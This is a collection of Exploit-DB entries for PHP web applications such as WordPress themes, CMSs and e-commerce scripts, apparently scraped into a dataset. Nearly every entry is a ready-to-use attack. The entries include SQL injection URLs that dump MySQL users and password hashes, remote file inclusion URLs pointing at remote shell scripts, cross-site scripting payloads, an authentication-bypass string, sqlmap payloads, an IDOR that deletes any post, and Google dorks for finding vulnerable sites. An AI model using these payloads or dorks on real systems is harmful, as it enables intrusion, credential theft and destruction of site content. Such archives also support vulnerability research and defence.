deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47436
Description: WordPress Theme Zoner Real Estate - 4.1.1 Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-09-27
Author: m0ze

Exploit:
# Exploit Title: WordPress Theme Zoner Real Estate - 4.1.1 Persistent Cross-Site Scripting
# Google Dork: inurl:/wp-content/themes/zoner/
# Date: 2019-09-24
# Exploit Author: m0ze
# Vendor Homepage: https://fruitfulcode.com/
# Software Link: https://themeforest.net/item/zoner-real-estate-wordpress-theme/9099226
# Version: 4.1.1
# Tested on: Parrot OS


----[]- Persistent XSS: -[]----
Create a new agent account, log in and press the blue «Plus» button under
the main menu («Add Your Property» text will pop-up on hover) - you will be
redirected to https://zoner.demo-website.com/?add-property=XXXX page. Use
your payload inside «Address» input field («Local information» block),
press on the «Create Property» button and check your payload on the
https://zoner.demo-website.com/author/agentm0ze/?profile-page=my_properties
page. Your new property must be approved by admin, so this is a good point
to steal some cookies :)

Payload Sample: "><img src=x onerror=alert('Greetings from m0ze')>

PoC: log in as agentm0ze:WhgZbOUH (login/password) and go to the
https://zoner.demo-website.com/author/agentm0ze/?profile-page=my_properties
page.


----[]- IDOR: -[]----
Create a new agent account, log in and create a new property. Then go to
the
https://zoner.fruitfulcode.com/author/aaaagent/?profile-page=my_properties
page and pay attention to the trash icon under your property info. Open the
developers console and check out this code: <a title="Delete Property"
href="#" data-toggle="modal" class="delete-property"
data-propertyid="XXX"><i class="delete fa fa-trash-o"></i></a>. Edit the
data-propertyid="XXX" attribute by typing instead of XXX desired post or
page ID which you want to delete (you can get post/page ID on the <body>
tag class -> postid-494, so attribute for post with ID 494 will be
data-propertyid="494"). After you edit the ID, click on the trash icon and
confirm deletion (POST
https://zoner.fruitfulcode.com/wp-admin/admin-ajax.php?action=delete_property_act&property_id=494&security=1304db23f0).
Funny fact that you can delete ANY post & page (!) you want, security key
is not unique for each requests so it's possible to erase all pages and
posts within a few minutes.
Exploit-DB #6336
Description: Words tag script 1.2 - 'word' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-31
Author: Hussin X

Exploit:
|___________________________________________________|
|
| Words tag script v1.2 (word) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.Hussin-X.CoM  |  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://sourceworkshop.com/advanced_scripts/index.php?id=5
|
| DorK   : "Powered by words tag script"
|___________________________________________________|

Exploit: 
________



www.[target].com/Script/index.php?command=claim&word=-401+union+select+concat_ws(user(),version(),database())+config_variables--






L!VE DEMO:
_________


http://words.sourceworkshop.com/index.php?command=claim&word=-401+union+select+concat_ws(user(),version(),database())+config_variables--


________________________

table_name : column_name

config_variables:variable_name
config_variables:value
config_variables:id
config_variables:title
config_variables:text
config_variables:description
_______________________


____________________________( Greetz )_________________________________
|
|    All members of the Forum  WwW.Hussin-X.CoM | WwW.TrYaG.CC
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | kadmiwe
|  
|    jiko | FAHD | Iraqihack | mos_chori | str0ke | Ghost Hacker
|______________________________________________________________________
 

                       Im IRAQi

# milw0rm.com [2008-08-31]
Exploit-DB #4446
Description: Wordsmith 1.1b - 'config.inc.php?_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-23
Author: ShockShadow

Exploit:
--==+=================== Electronic Security Team (www.Yee7.com) ====================+==--
--==+            WordSmith 1.0 RC1 (config.inc.php) Remote File Inclusion            +==--
--==+================================================================================+==--

Software:     WordSmith 1.0 RC1
SF page:      http://sourceforge.net/news/?group_id=90418
exploit:      Remote File Inclusion [High Risk]
By:           ShockShadow - Electronic Security Team (www.Yee7.com)
Home:         www.Yee7.com
Download:     http://skrypty.webpc.pl/pobierz13.html

##############################

==============
Dork: built in ;)

PoC:
http://domain.com/Script_Path/config.inc.php?_path=http://shell.txt?
###############################

by: ShockShadow
Thanks to: Mr-m07, Al-Shikh, ThE WhitE WolF, HuRrIcAnE, S0m.Ph, KEENEST, Qanas Alyahood, Falcon Hammdan, ArabHacker
AND ALL FRIENDS 

# milw0rm.com [2007-09-23]
Exploit-DB #2752
Description: WORK System E-Commerce 3.0.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-10
Author: SlimTim10

Exploit:
============================================================================================

WORK System E-Commerce (g_include) Remote File Inclusion Vulnerability

============================================================================================

Product............: WORK system e-commerce
Affected versions..: worksystem <= 3.0.1
Security Risk......: High
Vendor.............: Laurent Van den Reysen (http://worksystem.sourceforge.net/)
Product Link.......: http://prdownloads.sourceforge.net/worksystem/worksystem_3_0_1.zip?download
Discovered by......: SlimTim10


Details:
---------
Many files (including index.php) use the include() function with a variable that can be
altered remotely.

Vulnerable Code:
-----------------
include ($g_include."<file>.inc");

Vulnerable Files:
------------------
'index.php' (main directory) along with many files in the './administration/module' and
'./module' directories.

Proof of Concept:
------------------
http://[host]/work/index.php?g_include=[shell_script]
http://[host]/work/module/forum/forum.php?g_include=[shell_script]

Solution:
----------
No patch has been provided. The vulnerable files can be manually edited to initialize the
$g_include variable.

============================================================================================

Shoutz: Anonymous bro, Magnetosphere, dw0rek, c4p_sl0ck, str0ke!
SlimTim10 <slimtim10[at]gmail[dot]com>

============================================================================================

# milw0rm.com [2006-11-10]
Exploit-DB #3448
Description: work system E-Commerce 3.0.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-10
Author: Rodrigo Duarte

Exploit:
#####################################################################################
Rodrigo Duarte
Wuefez[AT]2die4.com ;D

WORK system e-commerce:

WORK PHP,Mysql content management system CMS e-commerce or not : ajax, workflow,
content,package,language,currency,country,price,stock,group user,CSS,banner,logo,
link,partner,forum,new,FAQ,event,calendar,invoice,mailing,supplier,RSS, webservices.

Vulnerable Script:

~ include_top.php
(Other scripts of this project are also vulnerable with $g_include)

Vulnerable Code:

include ($g_include."include_logo.php");

PoC:

http://example/[WORK_system_path]/include/include_top.php?g_include=http://shell

d0rk:

[your_creativity_here]

greetz:

Cocada, FoNSECA, maxim noob
SHiKaA, ZeUsSixSixSix, Arthurcmc
pizzer, rmeira and darkers.com.br
and for all the rest, i miss.........

EOF:

BRAZILIAN RAQUER!
MAGIC PEOPLE, VOODOO PEOPLE!

#####################################################################################

defined('G_SESSION_OR_COOKIE') or header( "Location: index.php" );
if ( !isset($g_db_prefix) ) header( "Location: index.php" );

The above isn't the correct way to block inclusions.

# milw0rm.com [2007-03-10]
Exploit-DB #3848
Description: workbench 0.11 - 'header.php?path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-04
Author: kezzap66345

Exploit:
##############################################################################################
##############################################################################################
#workbench survival guide <=  Remote File Inclusion Vulnerability
#
#Coder:kezzap66345@hotmail.com
#
#Vuln Code
###################################################################################
#
#ERROR:header.php
#
#<td width="100" bgcolor="#9999cc"><?include("$path/navbar.php")?></td>
#
#BUG:
#
#Example:http://site.com/path/header.php?path=[[Sh3LL Script]]
#
#Script Download
#############################################################################
#http://sourceforge.net/projects/workbench/
#
#Original W3b
Site############################################################################
#
#http://workbench.sourceforge.net
#
#Special Thanks:##### x0r0n ##### ajan ##### siircicocuk
#####################################
##############################################################################################
##############################################################################################

# milw0rm.com [2007-05-04]
Exploit-DB #25014
Description: WorkBoard 1.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-12-17
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/12009/info

It is reported that WorkBoard is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.

These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected Web site and may allow for theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/modules.php?name=WorkBoard&file=project&project_id=3[XSS_code]

http://www.example.com/modules.php?name=WorkBoard&file=project&project_id=
2%3Cbody%3E%3Cp%3E%3Ch1%3EWorkboard+XSS%20Pow@!!+%21%21%21+lostmon+was+here+%3AD%3C/h1%3E

http://www.example.com/modules.php?name=Work_Board&op=Task&task_id=7[XSS_code]

http://www.example.com/modules.php?name=Work_Board&op=Task&task_id=
5%3Cbody%3E%3Cp%3E%3Ch1%3EWorkboard+XSS%20Pow@!!+%21%21%21+lostmon+was+here+%3AD%3C/h1%3E
Exploit-DB #23753
Description: Working Resources BadBlue Server 2.40 - 'PHPtest.php' Full Path Disclosure
Type: webapps
Platform: php
Date: 2004-02-24
Author: Rafel Ivgi

Exploit:
source: https://www.securityfocus.com/bid/9737/info

It has been reported that BadBlue Server may be prone to a remote path disclosure vulnerability that may allow an attacker to disclose the installation path by issuing a request for 'phptest.php' script.

BadBlue version 2.4 has been reported to be affected by this issue, however, other versions may be vulnerable as well.

http://www.example.com/phptest.php
Exploit-DB #4653
Description: WorkingOnWeb 2.0.1400 - 'events.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-11-24
Author: ka0x

Exploit:
WorkingOnWeb 2.0.1400 Remote SQL Injection
d0rk: Powered by WorkingOnWeb 2.0.1400
bug found by ka0x - D.O.M TEAM
contact: ka0x01[!]gmail.com
we: ka0x, an0de, xarnuz, s0cratex, Hendrix
#from spain


1: <?
2: $query = "SELECT cnf_shortname, cnf_name, cnf_begindate, cnf_enddate, cnf_city, cnf_email, cnf_url, cnf_imgpath, cnf_country ".
3:          "FROM conference ".
4:          "WHERE id_conference = $HTTP_GET_VARS[idevent] ".
5:          " AND cnf_private=0";
6: $result = mysql_query($query);
7: $row = mysql_fetch_object($result);
8: ?>
     
vulnerability in line 4.
     
user and password from mysql.user :
http://localhost/events.php?idevent=-1/**/union/**/select/**/concat(user,0x203a3a20,password),null,0,0,0,0,0,0,0/**/from/**/mysql.user/*

Information:
http://localhost/events.php?idevent=-1/**/union/**/select/**/user(),2,3,4,1,1,1,1,1/*
http://localhost/events.php?idevent=-1/**/union/**/select/**/database(),2,3,4,1,1,1,1,1/*
http://localhost/events.php?idevent=-1/**/union/**/select/**/version(),2,3,4,1,1,1,1,1/*

-- 
// ka0x

# milw0rm.com [2007-11-24]
Exploit-DB #51038
Description: WorkOrder CMS 0.1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2023-03-23
Author: Chokri Hammedi

Exploit:
# Exploit Title: WorkOrder CMS 0.1.0 - SQL Injection
# Date: Sep 22, 2022
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://github.com/romzes13/WorkOrderCMS
# Software Link: https://github.com/romzes13/WorkOrderCMS/archive/refs/tags/v0.1.0.zip
# Version: 0.1.0
# Tested on: Linux

# Auth Bypass:


username:' or '1'='1

password:' or '1'='1


#sqlmap -r workorder.req --threads=10 --level 5 --risk 3 --dbs --dbms=mysql


# POST Requests:


Parameter: #1* ((custom) POST)

    Type: error-based

    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)

    Payload: userName=1'='1&password=1/' AND (SELECT 3761 FROM(SELECT
COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT
(ELT(3761=3761,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UUhY!1111'/


    Type: stacked queries

    Title: MySQL >= 5.0.12 stacked queries (comment)

    Payload: userName=1'='1&password=1/';SELECT SLEEP(5)#!1111'/


    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: userName=1'='1&password=1/' AND (SELECT 6822 FROM
(SELECT(SLEEP(5)))lYsh)-- YlDI!1111'/


Parameter: #2* ((custom) POST)

    Type: error-based

    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)

    Payload: userName=1'='1&password=1/!1111' AND (SELECT 2010 FROM(SELECT
COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT
(ELT(2010=2010,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tqtn/


    Type: stacked queries

    Title: MySQL >= 5.0.12 stacked queries (comment)

    Payload: userName=1'='1&password=1/!1111';SELECT SLEEP(5)#/


    Type: time-based blind

    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)

    Payload: userName=1'='1&password=1/!1111' OR SLEEP(5)-- XuTW/
Exploit-DB #7481
Description: WorkSimple 1.2.1 - Remote File Inclusion / Sensitive Data Disclosure
Type: webapps
Platform: php
Date: 2008-12-15
Author: Osirys

Exploit:
[START]

#########################################################################################
[0x01] Informations:

Script         : WorkSimple 1.2.1
Download       : http://www.hotscripts.com/jump.php?listing_id=85112&jump_type=1
Vulnerability  : Remote File Inclusion / Sensitive Data Disclosure
Author         : Osirys
Contact        : osirys[at]live[dot]it
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay


#########################################################################################
[0x02] Bug:[Remote File Inclusion]
######

Bugged file is: /[path]/calendar.php

[CODE]
<?PHP require 'data/conf.php'; //Include the global config ?>
	<?php include("$lang") ?>
[/CODE]

$lang variable is not declared, I thought it was declared on conf.php, but it's not.
So we can set the $lang value directly from GET.

FIX : Just declare $lang, for example in /[path]/data/conf.php


[!] EXPLOIT: /[path]/calendar.php?lang=[remote_txt_shell]

########################################################################################
[0x03] Bug:[Sensitive Data Disclosure]
######

In this cms, when an user register himself, the cms puts informations like username and
password on a .txt file. So, just going on it, we can get sensitive data like username
and passoword. username:md5_hash


[!] EXPLOIT: /[path]/data/usr.txt

#########################################################################################

[/END]

# milw0rm.com [2008-12-15]
Exploit-DB #11550
Description: WorkSimple 1.3.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-23
Author: JIKO

Exploit:
[ Multiple Remote Vulnerabilities ]
----------[Script Info]

Moi : JIKO
Site : No-exploit.Com
Email : mm :( Moghla9 Ferme Closed

----------[Script Info]

Name : WorkSimple
Site:http : http://geekness.eu/ or http://easton.4fd.us/
Download : http://geekness.eu/sites/default/files/worksimple_1.3.2.zip

----------[exploit Info]

1]~[Password Disclosure Vulnerability]

For All Version

http://localhost/Path/data/secret.php

Name:Md5(Pass)

1]~[Remote File Upload Vulnerability]
file :/modules/uploader.php?startupload
array(".phps",".txt",".html",".png", ".html", ".htm",".jpg",".png", ".bmp",".c",".cpp", ".css", ".h", ".gif", ".torrent", ".jpeg");
---
<form enctype='multipart/form-data' action='[SITE]/modules/uploader.php?startupload' method='post'>
<input type='hidden' name='MAX_FILE_SIZE' value='500000' />
Upload a file: <input name='uploadedfile' size='14' type='file' />
<BR><BR>
<input class='button' type='submit' value='upload' />
</form>
---

HxH, Cyb3r-DeViL, leopard, ZaIdOoHxHaCkEr, virusman, The Sadhacker,
Member No-exploit.Com
Exploit-DB #47045
Description: WorkSuite PRM 2.4 - 'password' SQL Injection
Type: webapps
Platform: php
Date: 2019-07-01
Author: Mehmet EMIROGLU

Exploit:
===========================================================================================
# Exploit Title: WorkSuite PRM 2.4 - 'password' SQL Inj.
# Dork: N/A
# Date: 01-05-2019
# Exploit Author: Mehmet EMİROĞLU
# Vendor Homepage: https://codecanyon.net/item/worksuite-project-management-system/20052522
# Software Link: https://codecanyon.net/item/worksuite-project-management-system/20052522
# Version: v2.4
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Worksuite is a project management software written in Laravel 5.4 (PHP Framework) which is specifically developed for freelancers and SMEs (Small/Medium sized enterprises). You can manage your company's daily work, your employee's tasks, keep a track on project's progress and much more. It is designed with latest security and code standards.
===========================================================================================
# POC - SQLi
# Parameters : password
# Attack Pattern : %27 RLIKE (case when  5021001=5021001 then 0x454d49524f474c55 else 0x28 end) and '7917'='7917
# POST Method :
http://localhost/worksuite24/public/login^_token=1knO8SR8Erjg56Mza4VaEv1Mb9lj5HiJBPmbTnFx&[CREDENTIAL_REDACTED][SQLINJECT HERE]
===========================================================================================
Exploit-DB #10976
Description: WorldPay Script Shop - 'productdetail' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-03
Author: Err0R

Exploit:
============================================
| WorldPay Script Shop (productdetail) SQL Injection Vulnerability
============================================
# (+) Author: Err0R
# (+) Site : www.sa-hacker.com/vb<http://www.sa-hacker.com/vb>
# (+) Email : a5q@hotmail.com<mailto:a5q@hotmail.com>
=====================================
~~~~~~~~~~~~~~~~~~~~
dork (Google): intext:"Powered By WorldPay" inurl:productdetail.php
~~~~~~~~~~~~~~~~~~~~
Exploit : Site /path/productdetail.php?id=-231+union+select+1,2,3,4,5--
And you come the enject ,,
Demo :-
User name : http://server/productdetail.php?id=-231+union+select+1,2,3,userName,5+from+watch2td_db.tbl_users<http://server/productdetail.php?id=-231+union+select+1,2,3,userName,5+from+watch2td_db.tbl_users>--
Password : http://server/productdetail.php?id=-231+union+select+1,2,3,password,5+from+watch2td_db.tbl_users<http:http://server/productdetail.php?id=-231+union+select+1,2,3,password,5+from+watch2td_db.tbl_users>--
admin Login : Site /path/login.php
=============================================================
#====GreeTZ===============#
#all member in www.sa-hacker.com/vb<http://www.sa-hacker.com/vb> #
#and all in My email : ) #
#======================#
Exploit-DB #12163
Description: Worldviewer.com CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-12
Author: 41.w4r10r aka AN1L

Exploit:
# Exploit Title: Worldviewer.com CMS SQL Injection Vulnerability
# Date: 12-4-2010
# Author: 41.w4r10r aka AN1L
# Software Link :
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork :  inurl:"php/showContent.php?linkid=" Or inurl:"/php/showNews.php?newsid="
# Code :

This Is The CMS Created by The Leading WebDevelopment Company Worldviewer.com For There Clients and all have same
vulnerability.....


Exploited Link :

1) http://example.com/php/showContent.php?linkid=5'

2) http://example.com/php/showNews.php?newsid=39'


Live Demo :

1) http://example.com/php/showNews.php?newsid=-5+union+select+all+1,version()--

2) http://example.com/php/showContent.php?linkid=-5+union+select+all+version()--





#41.w4r10r (41.w4r10r@andhrahackers.com<mailto:41.w4r10r@andhrahackers.com><mailto:41.w4r10r@andhrahackers.com<mailto:41.w4r10r@andhrahackers.com>>)

#################################################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]
#Thanks: SaiSatish,FB1H2S,Godwin_Austin,Micr0,Mannu,Harin,Jappy,DJ Hoodlum Don,Akee
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com<http://www.andhrahackers.com><http://www.andhrahackers.com> or www.teamicw.in<http://www.teamicw.in><http://www.teamicw.in>
Exploit-DB #34268
Description: Worxware DCP-Portal 7.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-07
Author: Andrei Rimsa Alvares

Exploit:
source: https://www.securityfocus.com/bid/41453/info

Worxware DCP-Portal is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

DCP-Portal 7.0 Beta is vulnerable; other versions may also be affected. 

http://www.example.com/common/components/editor/insert_image.php?MyAction=Delete&Image=%3Cscript%3Ewindow.alert(String.fromCharCode(88,83,83));%3C/script%3E
http://www.example.com/modules/newsletter/insert_image.php?MyAction=Delete&Image=%3Cscript%3Ewindow.alert(String.fromCharCode(88,83,83));%3C/script%3E
http://www.example.com/php/editor.php?MyAction=Delete&Image=%3Cscript%3Ewindow.alert(String.fromCharCode(88,83,83));%3C/script%3E
http://www.example.com/modules/gallery/view_img.php?imgtitle=%3C/title%3E%3Cscript%3Ewindow.alert(String.fromCharCode(88,83,83));%3C/script%3E
http://www.example.com/modules/gallery/view_img.php?imagename=%22&#039;);window.alert(&#039;XSS&#039;);document.write(&#039;%22
http://www.example.com/modules/tips/show_tip.php?newsId=%3Cscript%3Ewindow.alert(String.fromCharCode(88,83,83));%3C/script%3E